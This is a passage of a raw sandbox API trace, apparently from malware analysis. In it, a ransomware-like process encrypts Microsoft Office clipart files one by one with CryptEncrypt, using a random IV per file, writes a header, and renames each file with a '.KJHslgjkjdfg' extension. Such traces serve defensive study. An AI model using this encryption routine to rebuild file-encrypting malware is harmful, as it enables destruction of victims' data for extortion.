pdwDataLen=0x290f258*=0x2630, dwBufLen=0x2630 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2630) returned 1 [0173.949] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.949] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2630, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2630, lpOverlapped=0x0) returned 1 [0173.949] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.949] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2704, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.949] SetEndOfFile (hFile=0x114) returned 1 [0173.952] GetProcessHeap () returned 0x2a0000 [0173.952] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0173.952] GetProcessHeap () returned 0x2a0000 [0173.952] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0173.952] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152600.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152600.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152600.wmf.kjhslgjkjdfg")) returned 1 [0173.954] CloseHandle (hObject=0x114) returned 1 [0173.954] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1884, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152602.WMF", cAlternateFileName="")) returned 1 [0173.954] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152602.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0173.954] GetProcessHeap () returned 0x2a0000 [0173.955] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0173.955] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0173.955] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0173.955] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0173.957] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.957] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.957] GetProcessHeap () returned 0x2a0000 [0173.957] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0173.957] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0173.957] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.957] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0173.957] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.958] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0173.958] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0173.958] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0173.958] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.958] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.958] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.958] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.958] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1884, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1884, lpOverlapped=0x0) returned 1 [0173.959] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1890, dwBufLen=0x1890 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1890) returned 1 [0173.959] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.959] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1890, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1890, lpOverlapped=0x0) returned 1 [0173.959] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.959] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1964, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.959] SetEndOfFile (hFile=0x114) returned 1 [0173.962] GetProcessHeap () returned 0x2a0000 [0173.962] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0173.962] GetProcessHeap () returned 0x2a0000 [0173.962] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0173.962] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152602.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152602.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152602.wmf.kjhslgjkjdfg")) returned 1 [0173.965] CloseHandle (hObject=0x114) returned 1 [0173.965] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56452630, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x40f8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152606.WMF", cAlternateFileName="")) returned 1 [0173.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152606.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0173.966] GetProcessHeap () returned 0x2a0000 [0173.966] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0173.966] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0173.966] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0173.967] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.969] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.969] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.969] GetProcessHeap () returned 0x2a0000 [0173.969] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0173.969] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0173.969] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.969] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0173.970] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.970] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0173.970] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0173.970] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0173.970] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.970] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.970] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.970] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.970] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40f8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x40f8, lpOverlapped=0x0) returned 1 [0173.971] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4100, dwBufLen=0x4100 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4100) returned 1 [0173.971] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.971] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4100, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4100, lpOverlapped=0x0) returned 1 [0173.972] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.972] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x41d4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.972] SetEndOfFile (hFile=0x114) returned 1 [0173.974] GetProcessHeap () returned 0x2a0000 [0173.974] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0173.974] GetProcessHeap () returned 0x2a0000 [0173.974] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0173.974] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152606.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152606.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152606.wmf.kjhslgjkjdfg")) returned 1 [0173.975] CloseHandle (hObject=0x114) returned 1 [0173.975] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3094, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152608.WMF", cAlternateFileName="")) returned 1 [0173.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152608.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0173.976] GetProcessHeap () returned 0x2a0000 [0173.976] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0173.976] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0173.976] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0173.976] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0173.978] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.978] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.978] GetProcessHeap () returned 0x2a0000 [0173.978] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0173.978] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0173.978] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.978] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0173.978] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.979] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0173.979] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0173.979] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0173.979] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.979] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.979] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.979] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.979] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3094, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3094, lpOverlapped=0x0) returned 1 [0173.980] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x30a0, dwBufLen=0x30a0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x30a0) returned 1 [0173.980] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.980] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x30a0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x30a0, lpOverlapped=0x0) returned 1 [0173.980] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.980] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3174, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.980] SetEndOfFile (hFile=0x114) returned 1 [0173.983] GetProcessHeap () returned 0x2a0000 [0173.983] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0173.983] GetProcessHeap () returned 0x2a0000 [0173.983] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0173.983] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152608.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152608.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152608.wmf.kjhslgjkjdfg")) returned 1 [0173.985] CloseHandle (hObject=0x114) returned 1 [0173.985] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1748, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0152610.WMF", cAlternateFileName="")) returned 1 [0173.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152610.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0173.986] GetProcessHeap () returned 0x2a0000 [0173.986] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0173.986] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0173.986] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0173.986] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.989] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.989] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.989] GetProcessHeap () returned 0x2a0000 [0173.989] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0173.989] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0173.989] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.989] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0173.989] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.989] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0173.989] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0173.989] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0173.989] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.990] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.990] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.990] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.990] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1748, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1748, lpOverlapped=0x0) returned 1 [0173.991] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1750, dwBufLen=0x1750 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1750) returned 1 [0173.991] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.991] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1750, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1750, lpOverlapped=0x0) returned 1 [0173.991] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.991] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1824, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.991] SetEndOfFile (hFile=0x114) returned 1 [0173.994] GetProcessHeap () returned 0x2a0000 [0173.994] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0173.994] GetProcessHeap () returned 0x2a0000 [0173.994] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0173.994] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152610.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152610.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152610.wmf.kjhslgjkjdfg")) returned 1 